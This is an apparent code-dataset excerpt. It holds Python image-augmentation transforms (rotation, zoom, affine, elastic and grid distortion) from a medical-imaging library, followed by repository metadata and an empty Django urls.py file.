3].") _angle = ensure_tuple_rep(self.angle, 1 if input_ndim == 2 else 3) transform = create_rotate(input_ndim, _angle) shift = create_translate(input_ndim, ((im_shape - 1) / 2).tolist()) if self.keep_size: output_shape = im_shape else: corners = np.asarray(np.meshgrid(*[(0, dim) for dim in im_shape], indexing="ij")).reshape( (len(im_shape), -1) ) corners = transform[:-1, :-1] @ corners # type: ignore output_shape = np.asarray(corners.ptp(axis=1) + 0.5, dtype=int) shift_1 = create_translate(input_ndim, (-(output_shape - 1) / 2).tolist()) transform = shift @ transform @ shift_1 transform_t, *_ = convert_to_dst_type(transform, img_t) xform = AffineTransform( normalized=False, mode=look_up_option(mode or self.mode, GridSampleMode), padding_mode=look_up_option(padding_mode or self.padding_mode, GridSamplePadMode), align_corners=self.align_corners if align_corners is None else align_corners, reverse_indexing=True, ) output: torch.Tensor = xform(img_t.unsqueeze(0), transform_t, spatial_size=output_shape).float().squeeze(0) self._rotation_matrix = transform out: NdarrayOrTensor out, *_ = convert_to_dst_type(output, dst=img, dtype=output.dtype) return out def get_rotation_matrix(self) -> Optional[NdarrayOrTensor]: return self._rotation_matrix class Zoom(Transform): backend = [TransformBackends.TORCH] def __init__( self, zoom: Union[Sequence[float], float], mode: Union[InterpolateMode, str] = InterpolateMode.AREA, padding_mode: Union[NumpyPadMode, PytorchPadMode, str] = NumpyPadMode.EDGE, align_corners: Optional[bool] = None, keep_size: bool = True, **kwargs, ) -> None: self.zoom = zoom self.mode: InterpolateMode = InterpolateMode(mode) self.padding_mode = padding_mode self.align_corners = align_corners self.keep_size = keep_size self.kwargs = kwargs def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[InterpolateMode, str]] = None, padding_mode: Optional[Union[NumpyPadMode, PytorchPadMode, str]] = None, align_corners: Optional[bool] = None, ) -> NdarrayOrTensor: img_t, *_ = convert_data_type(img, torch.Tensor, dtype=torch.float32) _zoom = ensure_tuple_rep(self.zoom, img.ndim - 1) # match the spatial image dim zoomed: NdarrayOrTensor = torch.nn.functional.interpolate( # type: ignore recompute_scale_factor=True, input=img_t.unsqueeze(0), scale_factor=list(_zoom), mode=look_up_option(self.mode if mode is None else mode, InterpolateMode).value, align_corners=self.align_corners if align_corners is None else align_corners, ) zoomed = zoomed.squeeze(0) if self.keep_size and not np.allclose(img_t.shape, zoomed.shape): pad_vec = [(0, 0)] * len(img_t.shape) slice_vec = [slice(None)] * len(img_t.shape) for idx, (od, zd) in enumerate(zip(img_t.shape, zoomed.shape)): diff = od - zd half = abs(diff) // 2 if diff > 0: # need padding pad_vec[idx] = (half, diff - half) elif diff < 0: # need slicing slice_vec[idx] = slice(half, half + od) padder = Pad(pad_vec, padding_mode or self.padding_mode) zoomed = padder(zoomed) zoomed = zoomed[tuple(slice_vec)] out, *_ = convert_to_dst_type(zoomed, dst=img) return out class Rotate90(Transform): backend = [TransformBackends.TORCH, TransformBackends.NUMPY] def __init__(self, k: int = 1, spatial_axes: Tuple[int, int] = (0, 1)) -> None: self.k = k spatial_axes_: Tuple[int, int] = ensure_tuple(spatial_axes) # type: ignore if len(spatial_axes_) != 2: raise ValueError("spatial_axes must be 2 int numbers to indicate the axes to rotate 90 degrees.") self.spatial_axes = spatial_axes_ def __call__(self, img: NdarrayOrTensor) -> NdarrayOrTensor: rot90: Callable = torch.rot90 if isinstance(img, torch.Tensor) else np.rot90 # type: ignore out: NdarrayOrTensor = rot90(img, self.k, map_spatial_axes(img.ndim, self.spatial_axes)) out, *_ = convert_data_type(out, dtype=img.dtype) return out class RandRotate90(RandomizableTransform): backend = Rotate90.backend def __init__(self, prob: float = 0.1, max_k: int = 3, spatial_axes: Tuple[int, int] = (0, 1)) -> None: RandomizableTransform.__init__(self, prob) self.max_k = max_k self.spatial_axes = spatial_axes self._rand_k = 0 def randomize(self, data: Optional[Any] = None) -> None: super().randomize(None) if not self._do_transform: return None self._rand_k = self.R.randint(self.max_k) + 1 def __call__(self, img: NdarrayOrTensor, randomize: bool = True) -> NdarrayOrTensor: if randomize: self.randomize() if not self._do_transform: return img return Rotate90(self._rand_k, self.spatial_axes)(img) class RandRotate(RandomizableTransform): backend = Rotate.backend def __init__( self, range_x: Union[Tuple[float, float], float] = 0.0, range_y: Union[Tuple[float, float], float] = 0.0, range_z: Union[Tuple[float, float], float] = 0.0, prob: float = 0.1, keep_size: bool = True, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, align_corners: bool = False, dtype: Union[DtypeLike, torch.dtype] = np.float32, ) -> None: RandomizableTransform.__init__(self, prob) self.range_x = ensure_tuple(range_x) if len(self.range_x) == 1: self.range_x = tuple(sorted([-self.range_x[0], self.range_x[0]])) self.range_y = ensure_tuple(range_y) if len(self.range_y) == 1: self.range_y = tuple(sorted([-self.range_y[0], self.range_y[0]])) self.range_z = ensure_tuple(range_z) if len(self.range_z) == 1: self.range_z = tuple(sorted([-self.range_z[0], self.range_z[0]])) self.keep_size = keep_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) self.align_corners = align_corners self.dtype = dtype self.x = 0.0 self.y = 0.0 self.z = 0.0 def randomize(self, data: Optional[Any] = None) -> None: super().randomize(None) if not self._do_transform: return None self.x = self.R.uniform(low=self.range_x[0], high=self.range_x[1]) self.y = self.R.uniform(low=self.range_y[0], high=self.range_y[1]) self.z = self.R.uniform(low=self.range_z[0], high=self.range_z[1]) def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, align_corners: Optional[bool] = None, dtype: Union[DtypeLike, torch.dtype] = None, randomize: bool = True, get_matrix: bool = False, ): if randomize: self.randomize() if not self._do_transform: return img rotator = Rotate( angle=self.x if img.ndim == 3 else (self.x, self.y, self.z), keep_size=self.keep_size, mode=look_up_option(mode or self.mode, GridSampleMode), padding_mode=look_up_option(padding_mode or self.padding_mode, GridSamplePadMode), align_corners=self.align_corners if align_corners is None else align_corners, dtype=dtype or self.dtype or img.dtype, ) img = rotator(img) return (img, rotator.get_rotation_matrix()) if get_matrix else img class RandFlip(RandomizableTransform): backend = Flip.backend def __init__(self, prob: float = 0.1, spatial_axis: Optional[Union[Sequence[int], int]] = None) -> None: RandomizableTransform.__init__(self, prob) self.flipper = Flip(spatial_axis=spatial_axis) def __call__(self, img: NdarrayOrTensor, randomize: bool = True) -> NdarrayOrTensor: if randomize: self.randomize(None) if not self._do_transform: return img return self.flipper(img) class RandAxisFlip(RandomizableTransform): backend = Flip.backend def __init__(self, prob: float = 0.1) -> None: RandomizableTransform.__init__(self, prob) self._axis: Optional[int] = None def randomize(self, data: NdarrayOrTensor) -> None: super().randomize(None) if not self._do_transform: return None self._axis = self.R.randint(data.ndim - 1) def __call__(self, img: NdarrayOrTensor, randomize: bool = True) -> NdarrayOrTensor: if randomize: self.randomize(data=img) if not self._do_transform: return img return Flip(spatial_axis=self._axis)(img) class RandZoom(RandomizableTransform): backend = Zoom.backend def __init__( self, prob: float = 0.1, min_zoom: Union[Sequence[float], float] = 0.9, max_zoom: Union[Sequence[float], float] = 1.1, mode: Union[InterpolateMode, str] = InterpolateMode.AREA, padding_mode: Union[NumpyPadMode, PytorchPadMode, str] = NumpyPadMode.EDGE, align_corners: Optional[bool] = None, keep_size: bool = True, **kwargs, ) -> None: RandomizableTransform.__init__(self, prob) self.min_zoom = ensure_tuple(min_zoom) self.max_zoom = ensure_tuple(max_zoom) if len(self.min_zoom) != len(self.max_zoom): raise AssertionError("min_zoom and max_zoom must have same length.") self.mode: InterpolateMode = look_up_option(mode, InterpolateMode) self.padding_mode = padding_mode self.align_corners = align_corners self.keep_size = keep_size self.kwargs = kwargs self._zoom: Sequence[float] = [1.0] def randomize(self, img: NdarrayOrTensor) -> None: super().randomize(None) if not self._do_transform: return None self._zoom = [self.R.uniform(l, h) for l, h in zip(self.min_zoom, self.max_zoom)] if len(self._zoom) == 1: # to keep the spatial shape ratio, use same random zoom factor for all dims self._zoom = ensure_tuple_rep(self._zoom[0], img.ndim - 1) elif len(self._zoom) == 2 and img.ndim > 3: # if 2 zoom factors provided for 3D data, use the first factor for H and W dims, second factor for D dim self._zoom = ensure_tuple_rep(self._zoom[0], img.ndim - 2) + ensure_tuple(self._zoom[-1]) def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[InterpolateMode, str]] = None, padding_mode: Optional[Union[NumpyPadMode, PytorchPadMode, str]] = None, align_corners: Optional[bool] = None, randomize: bool = True, ) -> NdarrayOrTensor: # match the spatial image dim if randomize: self.randomize(img=img) if not self._do_transform: return img return Zoom( self._zoom, keep_size=self.keep_size, mode=look_up_option(mode or self.mode, InterpolateMode), padding_mode=padding_mode or self.padding_mode, align_corners=align_corners or self.align_corners, **self.kwargs, )(img) class AffineGrid(Transform): backend = [TransformBackends.TORCH, TransformBackends.NUMPY] @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, rotate_params: Optional[Union[Sequence[float], float]] = None, shear_params: Optional[Union[Sequence[float], float]] = None, translate_params: Optional[Union[Sequence[float], float]] = None, scale_params: Optional[Union[Sequence[float], float]] = None, as_tensor_output: bool = True, device: Optional[torch.device] = None, dtype: DtypeLike = np.float32, affine: Optional[NdarrayOrTensor] = None, ) -> None: self.rotate_params = rotate_params self.shear_params = shear_params self.translate_params = translate_params self.scale_params = scale_params self.device = device self.dtype = dtype self.affine = affine def __call__( self, spatial_size: Optional[Sequence[int]] = None, grid: Optional[NdarrayOrTensor] = None ) -> Tuple[NdarrayOrTensor, NdarrayOrTensor]: if grid is None: # create grid from spatial_size if spatial_size is None: raise ValueError("Incompatible values: grid=None and spatial_size=None.") grid = create_grid(spatial_size, device=self.device, backend="torch", dtype=self.dtype) _b = TransformBackends.TORCH if isinstance(grid, torch.Tensor) else TransformBackends.NUMPY _device = grid.device if isinstance(grid, torch.Tensor) else self.device affine: NdarrayOrTensor if self.affine is None: spatial_dims = len(grid.shape) - 1 affine = ( torch.eye(spatial_dims + 1, device=_device) if _b == TransformBackends.TORCH else np.eye(spatial_dims + 1) ) if self.rotate_params: affine = affine @ create_rotate(spatial_dims, self.rotate_params, device=_device, backend=_b) if self.shear_params: affine = affine @ create_shear(spatial_dims, self.shear_params, device=_device, backend=_b) if self.translate_params: affine = affine @ create_translate(spatial_dims, self.translate_params, device=_device, backend=_b) if self.scale_params: affine = affine @ create_scale(spatial_dims, self.scale_params, device=_device, backend=_b) else: affine = self.affine grid, *_ = convert_data_type(grid, torch.Tensor, device=_device, dtype=self.dtype or grid.dtype) affine, *_ = convert_to_dst_type(affine, grid) grid = (affine @ grid.reshape((grid.shape[0], -1))).reshape([-1] + list(grid.shape[1:])) return grid, affine class RandAffineGrid(Randomizable, Transform): backend = AffineGrid.backend @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, rotate_range: RandRange = None, shear_range: RandRange = None, translate_range: RandRange = None, scale_range: RandRange = None, as_tensor_output: bool = True, device: Optional[torch.device] = None, ) -> None: self.rotate_range = ensure_tuple(rotate_range) self.shear_range = ensure_tuple(shear_range) self.translate_range = ensure_tuple(translate_range) self.scale_range = ensure_tuple(scale_range) self.rotate_params: Optional[List[float]] = None self.shear_params: Optional[List[float]] = None self.translate_params: Optional[List[float]] = None self.scale_params: Optional[List[float]] = None self.device = device self.affine: Optional[NdarrayOrTensor] = None def _get_rand_param(self, param_range, add_scalar: float = 0.0): out_param = [] for f in param_range: if issequenceiterable(f): if len(f) != 2: raise ValueError("If giving range as [min,max], should only have two elements per dim.") out_param.append(self.R.uniform(f[0], f[1]) + add_scalar) elif f is not None: out_param.append(self.R.uniform(-f, f) + add_scalar) return out_param def randomize(self, data: Optional[Any] = None) -> None: self.rotate_params = self._get_rand_param(self.rotate_range) self.shear_params = self._get_rand_param(self.shear_range) self.translate_params = self._get_rand_param(self.translate_range) self.scale_params = self._get_rand_param(self.scale_range, 1.0) def __call__( self, spatial_size: Optional[Sequence[int]] = None, grid: Optional[NdarrayOrTensor] = None ) -> NdarrayOrTensor: self.randomize() affine_grid = AffineGrid( rotate_params=self.rotate_params, shear_params=self.shear_params, translate_params=self.translate_params, scale_params=self.scale_params, device=self.device, ) _grid: NdarrayOrTensor _grid, self.affine = affine_grid(spatial_size, grid) return _grid def get_transformation_matrix(self) -> Optional[NdarrayOrTensor]: return self.affine class RandDeformGrid(Randomizable, Transform): backend = [TransformBackends.TORCH] def __init__( self, spacing: Union[Sequence[float], float], magnitude_range: Tuple[float, float], as_tensor_output: bool = True, device: Optional[torch.device] = None, ) -> None: self.spacing = spacing self.magnitude = magnitude_range self.rand_mag = 1.0 self.as_tensor_output = as_tensor_output self.random_offset: np.ndarray self.device = device def randomize(self, grid_size: Sequence[int]) -> None: self.random_offset = self.R.normal(size=([len(grid_size)] + list(grid_size))).astype(np.float32, copy=False) self.rand_mag = self.R.uniform(self.magnitude[0], self.magnitude[1]) def __call__(self, spatial_size: Sequence[int]): self.spacing = fall_back_tuple(self.spacing, (1.0,) * len(spatial_size)) control_grid = create_control_grid(spatial_size, self.spacing, device=self.device, backend="torch") self.randomize(control_grid.shape[1:]) _offset, *_ = convert_to_dst_type(self.rand_mag * self.random_offset, control_grid) control_grid[: len(spatial_size)] += _offset if not self.as_tensor_output: control_grid, *_ = convert_data_type(control_grid, output_type=np.ndarray, dtype=np.float32) return control_grid class Resample(Transform): backend = [TransformBackends.TORCH] @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, as_tensor_output: bool = True, norm_coords: bool = True, device: Optional[torch.device] = None, dtype: DtypeLike = np.float64, ) -> None: self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) self.norm_coords = norm_coords self.device = device self.dtype = dtype def __call__( self, img: NdarrayOrTensor, grid: Optional[NdarrayOrTensor] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, dtype: DtypeLike = None, ) -> NdarrayOrTensor: if grid is None: raise ValueError("Unknown grid.") _device = img.device if isinstance(img, torch.Tensor) else self.device _dtype = dtype or self.dtype or img.dtype img_t, *_ = convert_data_type(img, torch.Tensor, device=_device, dtype=_dtype) grid_t = convert_to_dst_type(grid, img_t)[0] if grid_t is grid: # copy if needed (convert_data_type converts to contiguous) grid_t = grid_t.clone(memory_format=torch.contiguous_format) sr = min(len(img_t.shape[1:]), 3) if USE_COMPILED: if self.norm_coords: for i, dim in enumerate(img_t.shape[1 : 1 + sr]): grid_t[i] = (max(dim, 2) / 2.0 - 0.5 + grid_t[i]) / grid_t[-1:] grid_t = moveaxis(grid_t[:sr], 0, -1) # type: ignore _padding_mode = self.padding_mode if padding_mode is None else padding_mode _padding_mode = _padding_mode.value if isinstance(_padding_mode, GridSamplePadMode) else _padding_mode bound = 1 if _padding_mode == "reflection" else _padding_mode _interp_mode = self.mode if mode is None else mode _interp_mode = _interp_mode.value if isinstance(_interp_mode, GridSampleMode) else _interp_mode if _interp_mode == "bicubic": interp = 3 elif _interp_mode == "bilinear": interp = 1 else: interp = _interp_mode # type: ignore out = grid_pull( img_t.unsqueeze(0), grid_t.unsqueeze(0), bound=bound, extrapolate=True, interpolation=interp )[0] else: if self.norm_coords: for i, dim in enumerate(img_t.shape[1 : 1 + sr]): grid_t[i] = 2.0 / (max(2, dim) - 1.0) * grid_t[i] / grid_t[-1:] index_ordering: List[int] = list(range(sr - 1, -1, -1)) grid_t = moveaxis(grid_t[index_ordering], 0, -1) # type: ignore out = torch.nn.functional.grid_sample( img_t.unsqueeze(0), grid_t.unsqueeze(0), mode=self.mode.value if mode is None else GridSampleMode(mode).value, padding_mode=self.padding_mode.value if padding_mode is None else GridSamplePadMode(padding_mode).value, align_corners=True, )[0] out_val, *_ = convert_to_dst_type(out, dst=img, dtype=np.float32) return out_val class Affine(Transform): backend = list(set(AffineGrid.backend) & set(Resample.backend)) @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, rotate_params: Optional[Union[Sequence[float], float]] = None, shear_params: Optional[Union[Sequence[float], float]] = None, translate_params: Optional[Union[Sequence[float], float]] = None, scale_params: Optional[Union[Sequence[float], float]] = None, affine: Optional[NdarrayOrTensor] = None, spatial_size: Optional[Union[Sequence[int], int]] = None, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.REFLECTION, norm_coords: bool = True, as_tensor_output: bool = True, device: Optional[torch.device] = None, dtype: DtypeLike = np.float32, image_only: bool = False, ) -> None: self.affine_grid = AffineGrid( rotate_params=rotate_params, shear_params=shear_params, translate_params=translate_params, scale_params=scale_params, affine=affine, dtype=dtype, device=device, ) self.image_only = image_only self.resampler = Resample(norm_coords=norm_coords, device=device, dtype=dtype) self.spatial_size = spatial_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) def __call__( self, img: NdarrayOrTensor, spatial_size: Optional[Union[Sequence[int], int]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, ) -> Union[NdarrayOrTensor, Tuple[NdarrayOrTensor, NdarrayOrTensor]]: sp_size = fall_back_tuple(spatial_size or self.spatial_size, img.shape[1:]) grid, affine = self.affine_grid(spatial_size=sp_size) ret = self.resampler(img, grid=grid, mode=mode or self.mode, padding_mode=padding_mode or self.padding_mode) return ret if self.image_only else (ret, affine) class RandAffine(RandomizableTransform): backend = Affine.backend @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, prob: float = 0.1, rotate_range: RandRange = None, shear_range: RandRange = None, translate_range: RandRange = None, scale_range: RandRange = None, spatial_size: Optional[Union[Sequence[int], int]] = None, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.REFLECTION, cache_grid: bool = False, as_tensor_output: bool = True, device: Optional[torch.device] = None, ) -> None: RandomizableTransform.__init__(self, prob) self.rand_affine_grid = RandAffineGrid( rotate_range=rotate_range, shear_range=shear_range, translate_range=translate_range, scale_range=scale_range, device=device, ) self.resampler = Resample(device=device) self.spatial_size = spatial_size self.cache_grid = cache_grid self._cached_grid = self._init_identity_cache() self.mode: GridSampleMode = GridSampleMode(mode) self.padding_mode: GridSamplePadMode = GridSamplePadMode(padding_mode) def _init_identity_cache(self): if self.spatial_size is None: if self.cache_grid: warnings.warn( "cache_grid=True is not compatible with the dynamic spatial_size, please specify 'spatial_size'." ) return None _sp_size = ensure_tuple(self.spatial_size) _ndim = len(_sp_size) if _sp_size != fall_back_tuple(_sp_size, [1] * _ndim) or _sp_size != fall_back_tuple(_sp_size, [2] * _ndim): # dynamic shape because it falls back to different outcomes if self.cache_grid: warnings.warn( "cache_grid=True is not compatible with the dynamic spatial_size " f"'spatial_size={self.spatial_size}', please specify 'spatial_size'." ) return None return create_grid(spatial_size=_sp_size, device=self.rand_affine_grid.device, backend="torch") def get_identity_grid(self, spatial_size: Sequence[int]): ndim = len(spatial_size) if spatial_size != fall_back_tuple(spatial_size, [1] * ndim) or spatial_size != fall_back_tuple( spatial_size, [2] * ndim ): raise RuntimeError(f"spatial_size should not be dynamic, got {spatial_size}.") return ( create_grid(spatial_size=spatial_size, device=self.rand_affine_grid.device, backend="torch") if self._cached_grid is None else self._cached_grid ) def set_random_state( self, seed: Optional[int] = None, state: Optional[np.random.RandomState] = None ) -> "RandAffine": self.rand_affine_grid.set_random_state(seed, state) super().set_random_state(seed, state) return self def randomize(self, data: Optional[Any] = None) -> None: super().randomize(None) if not self._do_transform: return None self.rand_affine_grid.randomize() def __call__( self, img: NdarrayOrTensor, spatial_size: Optional[Union[Sequence[int], int]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, randomize: bool = True, ) -> NdarrayOrTensor: if randomize: self.randomize() # if not doing transform and spatial size doesn't change, nothing to do sp_size = fall_back_tuple(spatial_size or self.spatial_size, img.shape[1:]) do_resampling = self._do_transform or (sp_size != ensure_tuple(img.shape[1:])) if not do_resampling: img, *_ = convert_data_type(img, dtype=torch.float32, device=self.resampler.device) grid = self.get_identity_grid(sp_size) if self._do_transform: grid = self.rand_affine_grid(grid=grid) out: NdarrayOrTensor = self.resampler( img=img, grid=grid, mode=mode or self.mode, padding_mode=padding_mode or self.padding_mode ) return out class Rand2DElastic(RandomizableTransform): backend = Resample.backend @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, spacing: Union[Tuple[float, float], float], magnitude_range: Tuple[float, float], prob: float = 0.1, rotate_range: RandRange = None, shear_range: RandRange = None, translate_range: RandRange = None, scale_range: RandRange = None, spatial_size: Optional[Union[Tuple[int, int], int]] = None, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.REFLECTION, as_tensor_output: bool = False, device: Optional[torch.device] = None, ) -> None: RandomizableTransform.__init__(self, prob) self.deform_grid = RandDeformGrid( spacing=spacing, magnitude_range=magnitude_range, as_tensor_output=True, device=device ) self.rand_affine_grid = RandAffineGrid( rotate_range=rotate_range, shear_range=shear_range, translate_range=translate_range, scale_range=scale_range, device=device, ) self.resampler = Resample(device=device) self.device = device self.spatial_size = spatial_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) def set_random_state( self, seed: Optional[int] = None, state: Optional[np.random.RandomState] = None ) -> "Rand2DElastic": self.deform_grid.set_random_state(seed, state) self.rand_affine_grid.set_random_state(seed, state) super().set_random_state(seed, state) return self def randomize(self, spatial_size: Sequence[int]) -> None: super().randomize(None) if not self._do_transform: return None self.deform_grid.randomize(spatial_size) self.rand_affine_grid.randomize() def __call__( self, img: NdarrayOrTensor, spatial_size: Optional[Union[Tuple[int, int], int]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, randomize: bool = True, ) -> NdarrayOrTensor: sp_size = fall_back_tuple(spatial_size or self.spatial_size, img.shape[1:]) if randomize: self.randomize(spatial_size=sp_size) if self._do_transform: grid = self.deform_grid(spatial_size=sp_size) grid = self.rand_affine_grid(grid=grid) grid = torch.nn.functional.interpolate( recompute_scale_factor=True, input=grid.unsqueeze(0), scale_factor=list(ensure_tuple(self.deform_grid.spacing)), mode=InterpolateMode.BICUBIC.value, align_corners=False, ) grid = CenterSpatialCrop(roi_size=sp_size)(grid[0]) else: _device = img.device if isinstance(img, torch.Tensor) else self.device grid = create_grid(spatial_size=sp_size, device=_device, backend="torch") out: NdarrayOrTensor = self.resampler( img, grid, mode=mode or self.mode, padding_mode=padding_mode or self.padding_mode ) return out class Rand3DElastic(RandomizableTransform): backend = Resample.backend @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, sigma_range: Tuple[float, float], magnitude_range: Tuple[float, float], prob: float = 0.1, rotate_range: RandRange = None, shear_range: RandRange = None, translate_range: RandRange = None, scale_range: RandRange = None, spatial_size: Optional[Union[Tuple[int, int, int], int]] = None, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.REFLECTION, as_tensor_output: bool = False, device: Optional[torch.device] = None, ) -> None: RandomizableTransform.__init__(self, prob) self.rand_affine_grid = RandAffineGrid( rotate_range=rotate_range, shear_range=shear_range, translate_range=translate_range, scale_range=scale_range, device=device, ) self.resampler = Resample(device=device) self.sigma_range = sigma_range self.magnitude_range = magnitude_range self.spatial_size = spatial_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) self.device = device self.rand_offset: np.ndarray self.magnitude = 1.0 self.sigma = 1.0 def set_random_state( self, seed: Optional[int] = None, state: Optional[np.random.RandomState] = None ) -> "Rand3DElastic": self.rand_affine_grid.set_random_state(seed, state) super().set_random_state(seed, state) return self def randomize(self, grid_size: Sequence[int]) -> None: super().randomize(None) if not self._do_transform: return None self.rand_offset = self.R.uniform(-1.0, 1.0, [3] + list(grid_size)).astype(np.float32, copy=False) self.magnitude = self.R.uniform(self.magnitude_range[0], self.magnitude_range[1]) self.sigma = self.R.uniform(self.sigma_range[0], self.sigma_range[1]) self.rand_affine_grid.randomize() def __call__( self, img: NdarrayOrTensor, spatial_size: Optional[Union[Tuple[int, int, int], int]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, randomize: bool = True, ) -> NdarrayOrTensor: sp_size = fall_back_tuple(spatial_size or self.spatial_size, img.shape[1:]) if randomize: self.randomize(grid_size=sp_size) _device = img.device if isinstance(img, torch.Tensor) else self.device grid = create_grid(spatial_size=sp_size, device=_device, backend="torch") if self._do_transform: if self.rand_offset is None: raise RuntimeError("rand_offset is not initialized.") gaussian = GaussianFilter(3, self.sigma, 3.0).to(device=_device) offset = torch.as_tensor(self.rand_offset, device=_device).unsqueeze(0) grid[:3] += gaussian(offset)[0] * self.magnitude grid = self.rand_affine_grid(grid=grid) out: NdarrayOrTensor = self.resampler( img, grid, mode=mode or self.mode, padding_mode=padding_mode or self.padding_mode ) return out class GridDistortion(Transform): backend = [TransformBackends.TORCH] def __init__( self, num_cells: Union[Tuple[int], int], distort_steps: Sequence[Sequence[float]], mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, device: Optional[torch.device] = None, ) -> None: self.resampler = Resample(mode=mode, padding_mode=padding_mode, device=device) self.num_cells = num_cells self.distort_steps = distort_steps self.device = device def __call__( self, img: NdarrayOrTensor, distort_steps: Optional[Sequence[Sequence]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, ) -> NdarrayOrTensor: distort_steps = self.distort_steps if distort_steps is None else distort_steps if len(img.shape) != len(distort_steps) + 1: raise ValueError("the spatial size of `img` does not match with the length of `distort_steps`") all_ranges = [] num_cells = ensure_tuple_rep(self.num_cells, len(img.shape) - 1) for dim_idx, dim_size in enumerate(img.shape[1:]): dim_distort_steps = distort_steps[dim_idx] ranges = torch.zeros(dim_size, dtype=torch.float32) cell_size = dim_size // num_cells[dim_idx] prev = 0 for idx in range(num_cells[dim_idx] + 1): start = int(idx * cell_size) end = start + cell_size if end > dim_size: end = dim_size cur = dim_size else: cur = prev + cell_size * dim_distort_steps[idx] ranges[start:end] = torch.linspace(prev, cur, end - start) prev = cur ranges = ranges - (dim_size - 1.0) / 2.0 all_ranges.append(ranges) coords = meshgrid_ij(*all_ranges) grid = torch.stack([*coords, torch.ones_like(coords[0])]) return self.resampler(img, grid=grid, mode=mode, padding_mode=padding_mode) class RandGridDistortion(RandomizableTransform): backend = [TransformBackends.TORCH] def __init__( self, num_cells: Union[Tuple[int], int] = 5, prob: float = 0.1, distort_limit: Union[Tuple[float, float], float] = (-0.03, 0.03), mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, device: Optional[torch.device] = None, ) -> None: RandomizableTransform.__init__(self, prob) self.num_cells = num_cells if isinstance(distort_limit, (int, float)): self.distort_limit = (min(-distort_limit, distort_limit), max(-distort_limit, distort_limit)) else: self.distort_limit = (min(distort_limit), max(distort_limit)) self.distort_steps: Sequence[Sequence[float]] = ((1.0,),) self.grid_distortion = GridDistortion( num_cells=num_cells, distort_steps=self.distort_steps, mode=mode, padding_mode=padding_mode, device=device ) def randomize(self, spatial_shape: Sequence[int]) -> None: super().randomize(None) if not self._do_transform: return self.distort_steps = tuple( tuple(1.0 + self.R.uniform(low=self.distort_limit[0], high=self.distort_limit[1], size=n_cells + 1)) for n_cells in ensure_tuple_rep(self.num_cells, len(spatial_shape)) ) def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, randomize: bool = True, ) -> NdarrayOrTensor: if randomize: self.randomize(img.shape[1:]) if not self._do_transform: return img return self.grid_distortion(img, distort_steps=self.distort_steps, mode=mode, padding_mode=padding_mode)

true

f7327b0acca1ec68ef13a676068181bf6461221b

43

py

Python

passbook/audit/urls.py

fossabot/passbook

cba17f6659404445ac3025f11657d89368cc8b4f

[ "MIT" ]

null

passbook/audit/urls.py

fossabot/passbook

cba17f6659404445ac3025f11657d89368cc8b4f

[ "MIT" ]

null

passbook/audit/urls.py

fossabot/passbook

cba17f6659404445ac3025f11657d89368cc8b4f

[ "MIT" ]

null

"""passbook audit urls""" urlpatterns = []

14.333333

25

0.651163

urlpatterns = []

true

f7327ef8305d5caec9af3eb2d964b224057a2427

1,539

py

Python

AI/others/aws_rekognition/test_compare_faces/main.py

honchardev/Fun

ca7c0076e9bb3017c5d7e89aa7d5bd54a83c8ecc

[ "MIT" ]

null

AI/others/aws_rekognition/test_compare_faces/main.py

honchardev/Fun

ca7c0076e9bb3017c5d7e89aa7d5bd54a83c8ecc

[ "MIT" ]

3

2020-03-24T16:26:35.000Z

2020-04-15T19:40:41.000Z

AI/others/aws_rekognition/test_compare_faces/main.py

honchardev/Fun

ca7c0076e9bb3017c5d7e89aa7d5bd54a83c8ecc

[ "MIT" ]

null

